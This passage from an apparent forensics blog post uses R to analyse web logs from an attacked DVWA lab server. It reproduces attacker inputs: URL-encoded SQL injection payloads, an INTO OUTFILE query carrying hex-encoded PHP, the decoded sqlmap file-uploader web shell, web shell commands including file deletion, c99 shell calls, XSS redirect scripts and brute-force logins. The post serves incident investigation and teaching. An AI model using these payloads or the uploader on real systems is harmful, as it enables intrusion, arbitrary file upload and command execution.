id=a%27+union+select+user%28%29%2C+database%28%29+–+&Submit=Submit 4
id=a%27+or+%271%27+%3D+%271&Submit=Submit 3
id=2&Submit=Submit 2
id=abc%27+and+0%3D0+union+select+table_name%2C+null+from+information_schema.tables+where+table_name+like+%22user%25%22–+&Submit=Submit 2
<id=1&Submit=Submit&id=555-555-0199@example.com>&Submit=Submit 1
<id=1&Submit=Submit&id=555-555-0199@example.com>&<Submit=Submit&id=555-555-0199@example.com>&Submit=Submit 1
<id=1&Submit=Submit&id=555-555-0199@example.com>&<Submit=Submit&id=555-555-0199@example.com>&<Submit=Submit&id=555-555-0199@example.com>&Submit=Submit 1
<id=1&Submit=Submit&id=555-555-0199@example.com>&<Submit=Submit&id=555-555-0199@example.com>&<Submit=Submit&id=555-555-0199@example.com>&<Submit=Submit&id=555-555-0199@example.com>&Submit=Submit 1
id=3&Submit=Submit 1
id=4&Submit=Submit 1
id=5&Submit=Submit 1
id=6&Submit=Submit 1
id=a%27+and+0%3D0+union+select+column_name%2C+null+from+information_schema.columns+where+table_name+%3D+%27users%27+–+&Submit=Submit 1
id=a%27+or+1%3D1+–+&Submit=Submit 1
id=abc%27+and+0%3D0+union+select+table_name%2C+null+from+information_schema.tables+–+&Submit=Submit 1

And what happens if we run the same request on the resource field? There are 1,270 unique combinations of queries (I cheated and ran a query not included here), so focusing on the top 10 to see if there are any commands that are repeated frequently will be more valuable to look at.

suspicious_activity |>
    filter(str_detect(resource, "sqli/\\?")) |>
    mutate(cmd = str_replace(
        resource,
        "/dvwa/vulnerabilities/sqli/\\?",
        ""
    )) |>
    count(cmd, sort=TRUE) |>
    head(10)
cmd n
id=2&Submit=Submit 44
id=2%20ORDER%20BY%201–%20&Submit=Submit 8
id=2%20ORDER%20BY%201%23&Submit=Submit 8
id=2%20UNION%20ALL%20SELECT%20NULL–%20&Submit=Submit 8
id=2%20UNION%20ALL%20SELECT%20NULL%23&Submit=Submit 8
id=2%20UNION%20ALL%20SELECT%20NULL%2CNULL–%20&Submit=Submit 8
id=2%20UNION%20ALL%20SELECT%20NULL%2CNULL%23&Submit=Submit 8
id=2%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL–%20&Submit=Submit 8
id=2%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%23&Submit=Submit 8
id=2%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL–%20&Submit=Submit 8

A lot of these commands all include the word “Submit”. I wonder if there are commands that don’t include that.

suspicious_activity |>
    filter(str_detect(resource, "sqli/\\?")) |>
    filter(!str_detect(resource, "Submit")) |>
    mutate(cmd = str_replace(
        resource,
        "/dvwa/vulnerabilities/sqli/\\?",
        ""
    )) |>
    count(cmd, sort=TRUE) |>
    head(10)
cmd n

No, so all of them include “Submit”. Let’s try looking for some that aren’t SELECT or UNION calls? I’m effectively trying to find unique commands that aren’t what appear to be the attackers attempt to find SQL commands that work. And since we know that every command will have &Submit=Submit, let’s chop that off, just to clean it up a bit. Also, let’s decode the commands to try to get a better sense of what they’re doing. I’m also going to cheat once again and only show the results that I felt were interesting from this query, which I found by running the query and reading through the results.

suspicious_activity |>
    filter(str_detect(resource, "sqli/\\?")) |>
    filter(!str_detect(resource, "SELECT|UNION")) |>
    mutate(cmd = str_replace_all(
        resource,
        "/dvwa/vulnerabilities/sqli/\\?|&Submit=Submit",
        ""
    )) |>
    mutate(cmd = urltools::url_decode(cmd)) |>
    filter(str_detect(cmd, 'php')) |>
    select(ip, date, time, method, cmd)
ip date time method cmd
192.168.56.102 2015-09-02 04:25:52 -0700 GET id=2’ LIMIT 0,1 INTO OUTFILE ‘/xampp/htdocs/tmpukudk.php’ LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a– –
192.168.56.102 2015-09-02 23:52:24 -0700 GET id=2’ LIMIT 0,1 INTO OUTFILE ‘/xampp/htdocs/tmpudvfh.php’ LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a– –

These two records stuck out to me as they seem to be creating two unique PHP files, and I’m curious what those hex values (ostensibly) are. But first, I want to see if these files are mentioned in other places in the logs. Let’s look at one specific file.

suspicious_activity |>
    filter(str_detect(resource, "tmpudvfh.php")) |>
    mutate(resource=urltools::url_decode(resource)) |>
    select(time, resource)
time resource
23:52:24 -0700 /dvwa/vulnerabilities/sqli/?id=2’ LIMIT 0,1 INTO OUTFILE ‘/xampp/htdocs/tmpudvfh.php’ LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a– – &Submit=Submit
23:52:24 -0700 /xampp/htdocs/tmpudvfh.php
23:52:24 -0700 /htdocs/tmpudvfh.php
23:52:24 -0700 /tmpudvfh.php
23:52:24 -0700 /tmpudvfh.php
23:59:38 -0700 /tmpbrjvl.php?cmd=del /F /Q C:.php

Oh, interesting. There are a few entries in the log here. Look at that last entry; it looks like it’s deleting itself. Sneaky. Are there other tmp.*.php files?

suspicious_activity |>
    mutate(file=str_extract(resource, "tmp.+?\\.php")) |>
    filter(!is.na(file)) |>
    count(file, sort=TRUE)
file n
tmpudvfh.php 5
tmpukudk.php 5
tmpbiwuc.php 4
tmpbrjvl.php 3

I see 4 unique PHP files being utilized in the logs. We’re definitely going to want to dig into this more. Let’s start by digging into those hex values and convert them to text. The following code does this by extracting those hex values out of the logs, removes the “0x” prefix, and then deduplicates the values. Once the values have been extracted, a function to convert the hex to string is implemented, and then the hex values are looped over and run through the function. The results are then printed to the screen.

hex_values <- suspicious_activity |>
    filter(str_detect(resource, "tmp.+\\.php")) |>
    mutate(hex = str_extract(resource, "0x[a-f0-9]+")) |>
    mutate(hex = str_replace(hex, "0x", "")) |>
    filter(!is.na(hex)) |>
    pull(hex) |>
    unique()

convert_hex_to_string <- function(hex) {
    hex <- sapply(
        seq(1, nchar(hex), by=2),
        function(x) substr(hex, x, x + 1)
    )
    
    result <- gsub(
        '[^[:print:]]+', 
        '', 
        rawToChar(as.raw(strtoi(hex, 16L)))
    )
    return(result)
}

results <- unname(sapply(hex_values, convert_hex_to_string))
cat(results)

## <?phpif (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=\\xampp\\htdocs\\> <input type=submit name=upload value=upload></form>";}?>

Let’s clean that up a bit to make it easier to read.

<?php
if (isset($_REQUEST["upload"])) {
    $dir = $_REQUEST["uploadDir"];
    
    if (phpversion()<'4.1.0') { 
        $file = $HTTP_POST_FILES["file"]["name"];
        @move_uploaded_file(
            $HTTP_POST_FILES["file"]["tmp_name"], 
            $dir."/".$file
        ) or die();
    }
    else {
        $file=$_FILES["file"]["name"];
        @move_uploaded_file(
            $_FILES["file"]["tmp_name"], 
            $dir."/".$file
        ) or die();
    }
    
    @chmod($dir."/".$file, 0755);
    echo "File uploaded";
}
else {
    echo "
    <form 
        action=".$_SERVER["PHP_SELF"]."
        method=POST
        enctype=multipart/form-data
    >
        <input type=hidden name=MAX_FILE_SIZE value=1000000000>
            <b>sqlmap file uploader</b>
            <br>
            <input name=file type=file>
            <br>
            to directory: 
            <input type=text name=uploadDir value=\\xampp\\htdocs\\>
            <input type=submit name=upload value=upload>
    </form>
    ";
}
?>

Clearly the attacker is uploading PHP files to create web shells, right? Doesn’t this mean we should be able to see calls to those files getting made in the logs?

processed |>
    filter(str_detect(resource, "\\.php\\?")) |>
    mutate(resource = urltools::url_decode(resource)) |>
    select(method, resource)
method resource
GET /dvwa/security.php?phpids=on
GET /dvwa/security.php?test=“><script>eval(window.name)</script>
GET /dvwa/security.php?phpids=off
GET /dvwa/instructions.php?doc=PHPIDS-license
GET /dvwa/ids_log.php?clear_log=Clear+Log
GET /tmpbiwuc.php?cmd=echo command execution test
GET /tmpbiwuc.php?cmd=dir
GET /tmpbiwuc.php?cmd=del /F /Q C:.php
GET /tmpbiwuc.php?cmd=del /F /Q .php
GET /tmpbrjvl.php?cmd=echo command execution test
GET /tmpbrjvl.php?cmd=del /F /Q C:.php
GET /tmpbrjvl.php?cmd=del /F /Q .php
GET /dvwa/hackable/uploads/phpshell.php?dir
GET /dvwa/hackable/uploads/phpshell.php?cmd=dir
GET /dvwa/hackable/uploads/phpshell.php?cmd=dir C:\\
GET /dvwa/hackable/uploads/phpshell.php?cmd=mkdir abc
GET /dvwa/hackable/uploads/phpshell.php?cmd=dir
GET /dvwa/c99.php?act=img&img=home
GET /dvwa/c99.php?act=img&img=search
GET /dvwa/c99.php?act=img&img=buffer
GET /dvwa/c99.php?act=img&img=sort_asc
GET /dvwa/c99.php?act=img&img=small_dir
GET /dvwa/c99.php?act=img&img=ext_diz
GET /dvwa/c99.php?act=img&img=ext_lnk
GET /dvwa/c99.php?act=img&img=ext_htaccess
GET /dvwa/c99.php?act=img&img=change
GET /dvwa/c99.php?act=img&img=download
GET /dvwa/c99.php?act=img&img=ext_md
GET /dvwa/c99.php?act=img&img=ext_txt
GET /dvwa/c99.php?act=img&img=ext_php
GET /dvwa/c99.php?act=img&img=forward
GET /dvwa/c99.php?act=img&img=up
GET /dvwa/c99.php?act=img&img=ext_ico
GET /dvwa/c99.php?act=img&img=arrow_ltr
GET /dvwa/c99.php?act=img&img=refresh
GET /dvwa/c99.php?act=img&img=ext_ini
GET /dvwa/c99.php?act=img&img=ext_zip
GET /dvwa/c99.php?act=img&img=back
POST /dvwa/c99.php?act=cmd
POST /dvwa/c99.php?act=cmd

Well, we definitely see some commands, but no smoking guns as it relates to how the users were created. However, we do see two POST requests were made that passed act=cmd as a parameter. Too bad we can’t see what data was passed in with that request, but maybe we can review command line calls in the memory dump?

For now, I’m going to run a couple more simple analyses to wrap this up. Let’s first look at the XSS commands the attacker(s) ran.

processed |>
    filter(ip == "192.168.56.102") |>
    filter(str_detect(resource, "/xss_[sr]/\\?")) |>
    mutate(cmd = str_replace(resource, "^/.+?\\?", "")) |>
    mutate(cmd = urltools::url_decode(cmd)) |>
    count(cmd, sort=TRUE)
cmd n
name=<script>alert(‘XSS’)</script> 2
name=<h1>XSS</h1> 1
name=<script>window.location=“<http://192.168.56.102%22%3C/script%3E>; 1
name=<script>windows.location=“<http://192.168.56.102%22%3C/script%3E>; 1
name=ali 1
name=Ali 1
name=XSS 1

And what about the brute endpoint we saw?

processed |>
    filter(ip == "192.168.56.102") |>
    filter(str_detect(resource, "brute")) |>
    mutate(cmd = str_replace(resource, "^/.+?\\?", "")) |>
    mutate(cmd = urltools::url_decode(cmd)) |>
    count(cmd, sort=TRUE)
cmd n
/dvwa/vulnerabilities/brute/ 2
username=admin&Login=Login&password=password 2
username=admin&Login=Login&password=password&username=admin&Login=Login&password=password 2
/dvwa/vulnerabilities/brute/. 1

And then there’s one more field that we never looked at, which might give us some clues about what happened: the user-agent string.

processed |>
    filter(ip == "192.168.56.102") |>
    count(user_agent, sort=TRUE)

## # A tibble: 6 × 2
##   user_agent                                                                   n
##   <chr>                                                                    <int>
## 1 sqlmap/1.0-dev-nongit-20150902 (http://sqlmap.org)                        3621
## 2 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/…   510
## 3 Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Ic…   215
## 4 Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Icew…    28
## 5 Mozilla/4.0 (compatible; MSIE 6.0;)                                         22
## 6 Python-urllib/2.7                                                            2

Obviously some interesting values there, namely the sqlmap string, which Google tells us is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws, which provides one possible explanation for the frequency of the requests against the server.

The Conclusion

We weren’t able to identify exactly how the attacker(s) added the users to the box during this analysis, but we did get at least the beginning of an answer to another question.

What type of attacks has been performed on the box?

Just in this analysis alone, we saw XSS attacks, SQL Injection, and brute force attacks. We also saw that the user uploaded four different PHP files, which were ostensibly used to execute commands on the web server. When I first started this analysis, I thought identifying the attacks would be one of the harder questions to answer, so it’s very exciting to have at least the initial portion of an answer after only examining a couple of artifacts!

Next time, we’re going to spin up our own Damn Vulnerable Web App and try to attack the box the same way that we saw in these logs in an effort to better understand what the data is telling us, and once that’s done we’ll move on to analyzing the memory. Tune in next time!